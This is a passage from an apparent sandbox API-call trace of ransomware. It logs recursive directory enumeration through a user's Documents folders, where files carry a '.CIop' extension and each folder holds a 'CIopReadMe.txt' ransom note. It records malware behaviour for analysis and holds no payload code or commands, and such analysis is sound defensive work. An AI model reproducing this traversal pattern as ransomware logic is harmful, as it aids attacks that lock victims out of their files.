returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0128.244] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*" [0128.244] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e0b8 [0128.244] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="-3ostnyb" [0128.244] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-3ostnyb" | out: lpString1="-3ostnyb") returned="-3ostnyb" [0128.244] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.244] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.244] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.244] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.244] lstrcmpW (lpString1="2pWzntbD", lpString2="..") returned 1 [0128.244] lstrcmpW (lpString1="2pWzntbD", lpString2=".") returned 1 [0128.244] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0128.244] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0128.244] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\", lpString2="2pWzntbD" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" [0128.244] SetErrorMode (uMode=0x1) returned 0x1 [0128.244] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" [0128.244] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" [0128.244] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" [0128.244] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*" [0128.244] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67dd78 [0128.244] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="2pWzntbD" [0128.244] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="2pWzntbD" | out: lpString1="2pWzntbD") returned="2pWzntbD" [0128.244] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.244] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.244] lstrcmpW (lpString1="51gZ9cs6QyQwB.xlsx.CIop", lpString2="..") returned 1 [0128.244] lstrcmpW (lpString1="51gZ9cs6QyQwB.xlsx.CIop", lpString2=".") returned 1 [0128.244] lstrlenW (lpString=".CIop") returned 5 [0128.244] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.244] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.244] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.245] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.245] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.245] lstrcmpW (lpString1="FMVnxBVv7u9Rp.docx.CIop", lpString2="..") returned 1 [0128.245] lstrcmpW (lpString1="FMVnxBVv7u9Rp.docx.CIop", lpString2=".") returned 1 [0128.245] lstrlenW (lpString=".CIop") returned 5 [0128.245] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.245] lstrcmpW (lpString1="ttYeA5K8BN5b.ppt.CIop", lpString2="..") returned 1 [0128.245] lstrcmpW (lpString1="ttYeA5K8BN5b.ppt.CIop", lpString2=".") returned 1 [0128.245] lstrlenW (lpString=".CIop") returned 5 [0128.245] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0128.245] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0128.245] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0128.245] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" [0128.245] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*" [0128.245] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67dfb8 [0128.245] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="2pWzntbD" [0128.245] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="2pWzntbD" | out: lpString1="2pWzntbD") returned="2pWzntbD" [0128.245] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.245] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.245] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.245] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.245] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.245] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.245] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0128.245] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 1 [0128.245] FindClose (in: hFindFile=0x67dfb8 | out: hFindFile=0x67dfb8) returned 0 [0128.245] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.246] lstrcmpW (lpString1="7Hk2Lc8bYx_mxaoZre", lpString2="..") returned 1 [0128.246] lstrcmpW (lpString1="7Hk2Lc8bYx_mxaoZre", lpString2=".") returned 1 [0128.246] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0128.246] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0128.246] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\", lpString2="7Hk2Lc8bYx_mxaoZre" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" [0128.246] SetErrorMode (uMode=0x1) returned 0x1 [0128.246] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" [0128.246] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" [0128.246] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\" [0128.246] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*" [0128.246] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67db78 [0128.246] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0128.246] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="7Hk2Lc8bYx_mxaoZre" | out: lpString1="7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0128.246] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.246] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.246] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.246] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.246] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.246] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.246] lstrcmpW (lpString1="r873fj.xls.CIop", lpString2="..") returned 1 [0128.246] lstrcmpW (lpString1="r873fj.xls.CIop", lpString2=".") returned 1 [0128.246] lstrlenW (lpString=".CIop") returned 5 [0128.246] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.246] lstrcmpW (lpString1="s9_oB4RJJAVSDjPCS.pdf.CIop", lpString2="..") returned 1 [0128.246] lstrcmpW (lpString1="s9_oB4RJJAVSDjPCS.pdf.CIop", lpString2=".") returned 1 [0128.246] lstrlenW (lpString=".CIop") returned 5 [0128.246] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.246] lstrcmpW (lpString1="UmcQX7d.pptx.CIop", lpString2="..") returned 1 [0128.246] lstrcmpW (lpString1="UmcQX7d.pptx.CIop", lpString2=".") returned 1 [0128.246] lstrlenW (lpString=".CIop") returned 5 [0128.246] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.246] lstrcmpW (lpString1="XJ2OD9lQq0BG.docx.CIop", lpString2="..") returned 1 [0128.246] lstrcmpW (lpString1="XJ2OD9lQq0BG.docx.CIop", lpString2=".") returned 1 [0128.246] lstrlenW (lpString=".CIop") returned 5 [0128.246] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0128.246] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0128.246] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0128.247] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre" [0128.247] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*" [0128.247] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67db78 [0128.247] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0128.247] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="7Hk2Lc8bYx_mxaoZre" | out: lpString1="7Hk2Lc8bYx_mxaoZre") returned="7Hk2Lc8bYx_mxaoZre" [0128.247] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.247] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.247] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.247] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.247] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.247] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.247] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0128.247] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0128.247] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0128.247] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0128.247] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.247] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.247] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.247] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0128.247] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 1 [0128.247] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 0 [0128.247] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.247] lstrcmpW (lpString1="1gqxJ7phl", lpString2="..") returned 1 [0128.247] lstrcmpW (lpString1="1gqxJ7phl", lpString2=".") returned 1 [0128.247] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0128.247] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0128.247] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="1gqxJ7phl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" [0128.247] SetErrorMode (uMode=0x1) returned 0x1 [0128.248] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" [0128.248] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" [0128.248] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\" [0128.248] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*" [0128.248] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67dbf8 [0128.248] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="1gqxJ7phl" [0128.248] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="1gqxJ7phl" | out: lpString1="1gqxJ7phl") returned="1gqxJ7phl" [0128.248] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.248] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.248] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.248] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.248] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.248] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.248] lstrcmpW (lpString1="LJ2-ZSo63V_7d.xlsx.CIop", lpString2="..") returned 1 [0128.248] lstrcmpW (lpString1="LJ2-ZSo63V_7d.xlsx.CIop", lpString2=".") returned 1 [0128.248] lstrlenW (lpString=".CIop") returned 5 [0128.248] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.248] lstrcmpW (lpString1="pdKaXJhzd7zYz7o.doc.CIop", lpString2="..") returned 1 [0128.248] lstrcmpW (lpString1="pdKaXJhzd7zYz7o.doc.CIop", lpString2=".") returned 1 [0128.248] lstrlenW (lpString=".CIop") returned 5 [0128.248] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0128.248] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0128.248] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0128.248] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl" [0128.248] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\1gqxJ7phl", lpString2="\\*.*" | out: 